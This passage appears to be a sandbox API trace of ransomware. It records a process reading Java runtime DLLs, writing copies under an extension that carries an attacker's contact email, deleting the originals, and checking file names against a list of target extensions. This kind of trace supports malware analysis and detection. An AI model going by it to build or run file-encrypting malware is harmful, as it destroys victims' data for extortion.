	[0084.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0084.411] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.411] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.412] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0084.412] GetLastError () returned 0x0
	[0084.412] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x7440, lpOverlapped=0x0) returned 1
	[0084.452] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x7450, lpOverlapped=0x0) returned 1
	[0084.454] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.454] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.454] SetEndOfFile (hFile=0x388) returned 1
	[0084.454] CloseHandle (hObject=0x388) returned 1
	[0084.454] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.454] SetEndOfFile (hFile=0x328) returned 1
	[0084.455] CloseHandle (hObject=0x328) returned 1
	[0084.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0084.456] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1
	[0084.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.456] lstrlenW (lpString=".doc") returned 4
	[0084.456] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.456] lstrlenW (lpString=".docx") returned 5
	[0084.456] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0084.456] lstrlenW (lpString=".pdf") returned 4
	[0084.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.456] lstrlenW (lpString=".xls") returned 4
	[0084.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.456] lstrlenW (lpString=".xlsx") returned 5
	[0084.456] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0084.456] lstrlenW (lpString=".ppt") returned 4
	[0084.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.456] lstrlenW (lpString=".zip") returned 4
	[0084.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.457] lstrlenW (lpString=".rar") returned 4
	[0084.457] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.457] lstrlenW (lpString=".bz2") returned 4
	[0084.457] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.457] lstrlenW (lpString=".7z") returned 3
	[0084.457] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.457] lstrlenW (lpString=".dbf") returned 4
	[0084.457] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.457] lstrlenW (lpString=".1cd") returned 4
	[0084.457] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.457] lstrlenW (lpString=".jpg") returned 4
	[0084.457] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.457] lstrlenW (lpString=".doc") returned 4
	[0084.457] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.457] lstrlenW (lpString=".docx") returned 5
	[0084.457] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0084.457] lstrlenW (lpString=".pdf") returned 4
	[0084.457] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.457] lstrlenW (lpString=".xls") returned 4
	[0084.457] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.457] lstrlenW (lpString=".xlsx") returned 5
	[0084.457] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0084.457] lstrlenW (lpString=".ppt") returned 4
	[0084.457] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.457] lstrlenW (lpString=".zip") returned 4
	[0084.457] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.458] lstrlenW (lpString=".rar") returned 4
	[0084.458] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.458] lstrlenW (lpString=".bz2") returned 4
	[0084.458] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.458] lstrlenW (lpString=".7z") returned 3
	[0084.458] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.458] lstrlenW (lpString=".dbf") returned 4
	[0084.458] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.458] lstrlenW (lpString=".1cd") returned 4
	[0084.458] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0084.458] lstrlenW (lpString=".jpg") returned 4
	[0084.458] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.458] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0084.458] lstrlenW (lpString="dt_socket.dll") returned 13
	[0084.458] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0084.459] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=24640) returned 1
	[0084.459] CloseHandle (hObject=0x328) returned 1
	[0084.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20
	[0084.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.459] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0084.459] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.459] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.459] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0084.459] GetLastError () returned 0x0
	[0084.460] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x6040, lpOverlapped=0x0) returned 1
	[0084.511] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x6050, lpOverlapped=0x0) returned 1
	[0084.513] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.513] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xee, lpOverlapped=0x0) returned 1
	[0084.513] SetEndOfFile (hFile=0x388) returned 1
	[0084.513] CloseHandle (hObject=0x388) returned 1
	[0084.513] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.513] SetEndOfFile (hFile=0x328) returned 1
	[0084.514] CloseHandle (hObject=0x328) returned 1
	[0084.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0084.514] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1
	[0084.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.515] lstrlenW (lpString=".doc") returned 4
	[0084.515] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.515] lstrlenW (lpString=".docx") returned 5
	[0084.515] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0084.515] lstrlenW (lpString=".pdf") returned 4
	[0084.515] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.515] lstrlenW (lpString=".xls") returned 4
	[0084.515] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.515] lstrlenW (lpString=".xlsx") returned 5
	[0084.515] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0084.515] lstrlenW (lpString=".ppt") returned 4
	[0084.515] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.515] lstrlenW (lpString=".zip") returned 4
	[0084.515] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.515] lstrlenW (lpString=".rar") returned 4
	[0084.515] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.515] lstrlenW (lpString=".bz2") returned 4
	[0084.515] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.515] lstrlenW (lpString=".7z") returned 3
	[0084.515] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.515] lstrlenW (lpString=".dbf") returned 4
	[0084.515] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.515] lstrlenW (lpString=".1cd") returned 4
	[0084.515] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.515] lstrlenW (lpString=".jpg") returned 4
	[0084.515] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.516] lstrlenW (lpString=".doc") returned 4
	[0084.516] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.516] lstrlenW (lpString=".docx") returned 5
	[0084.516] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0084.516] lstrlenW (lpString=".pdf") returned 4
	[0084.516] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.516] lstrlenW (lpString=".xls") returned 4
	[0084.516] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.516] lstrlenW (lpString=".xlsx") returned 5
	[0084.516] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0084.516] lstrlenW (lpString=".ppt") returned 4
	[0084.516] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.516] lstrlenW (lpString=".zip") returned 4
	[0084.516] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.516] lstrlenW (lpString=".rar") returned 4
	[0084.516] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.516] lstrlenW (lpString=".bz2") returned 4
	[0084.516] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.516] lstrlenW (lpString=".7z") returned 3
	[0084.516] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.516] lstrlenW (lpString=".dbf") returned 4
	[0084.516] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.516] lstrlenW (lpString=".1cd") returned 4
	[0084.516] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0084.516] lstrlenW (lpString=".jpg") returned 4
	[0084.516] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.959] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0084.959] lstrlenW (lpString="glass.dll") returned 9
	[0084.959] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0085.000] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=265792) returned 1
	[0085.000] CloseHandle (hObject=0x2c0) returned 1
	[0085.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20
	[0085.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0085.015] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.015] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0085.028] GetLastError () returned 0x0
	[0085.028] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x40e40, lpOverlapped=0x0) returned 1
	[0085.039] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x40e50, lpOverlapped=0x0) returned 1
	[0085.044] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.044] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0085.044] SetEndOfFile (hFile=0x364) returned 1
	[0085.044] CloseHandle (hObject=0x364) returned 1
	[0085.045] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.045] SetEndOfFile (hFile=0x2c0) returned 1
	[0085.048] CloseHandle (hObject=0x2c0) returned 1
	[0085.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0085.048] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1
	[0085.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.048] lstrlenW (lpString=".doc") returned 4
	[0085.048] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.048] lstrlenW (lpString=".docx") returned 5
	[0085.049] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0085.049] lstrlenW (lpString=".pdf") returned 4
	[0085.049] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.049] lstrlenW (lpString=".xls") returned 4
	[0085.049] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.049] lstrlenW (lpString=".xlsx") returned 5
	[0085.049] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0085.049] lstrlenW (lpString=".ppt") returned 4
	[0085.049] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.049] lstrlenW (lpString=".zip") returned 4
	[0085.049] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.049] lstrlenW (lpString=".rar") returned 4
	[0085.049] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.049] lstrlenW (lpString=".bz2") returned 4
	[0085.049] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.049] lstrlenW (lpString=".7z") returned 3
	[0085.049] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.049] lstrlenW (lpString=".dbf") returned 4
	[0085.049] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.049] lstrlenW (lpString=".1cd") returned 4
	[0085.049] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.049] lstrlenW (lpString=".jpg") returned 4
	[0085.049] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.050] lstrlenW (lpString=".doc") returned 4
	[0085.050] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.050] lstrlenW (lpString=".docx") returned 5
	[0085.050] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0085.050] lstrlenW (lpString=".pdf") returned 4
	[0085.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.050] lstrlenW (lpString=".xls") returned 4
	[0085.050] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.050] lstrlenW (lpString=".xlsx") returned 5
	[0085.050] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0085.050] lstrlenW (lpString=".ppt") returned 4
	[0085.050] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.050] lstrlenW (lpString=".zip") returned 4
	[0085.050] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.050] lstrlenW (lpString=".rar") returned 4
	[0085.050] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.050] lstrlenW (lpString=".bz2") returned 4
	[0085.050] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.050] lstrlenW (lpString=".7z") returned 3
	[0085.050] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.050] lstrlenW (lpString=".dbf") returned 4
	[0085.050] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.051] lstrlenW (lpString=".1cd") returned 4
	[0085.051] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0085.051] lstrlenW (lpString=".jpg") returned 4
	[0085.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.051] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0085.051] lstrlenW (lpString="j2pcsc.dll") returned 10
	[0085.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0085.053] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=19008) returned 1
	[0085.053] CloseHandle (hObject=0x2c0) returned 1
	[0085.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20
	[0085.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0085.054] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.054] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
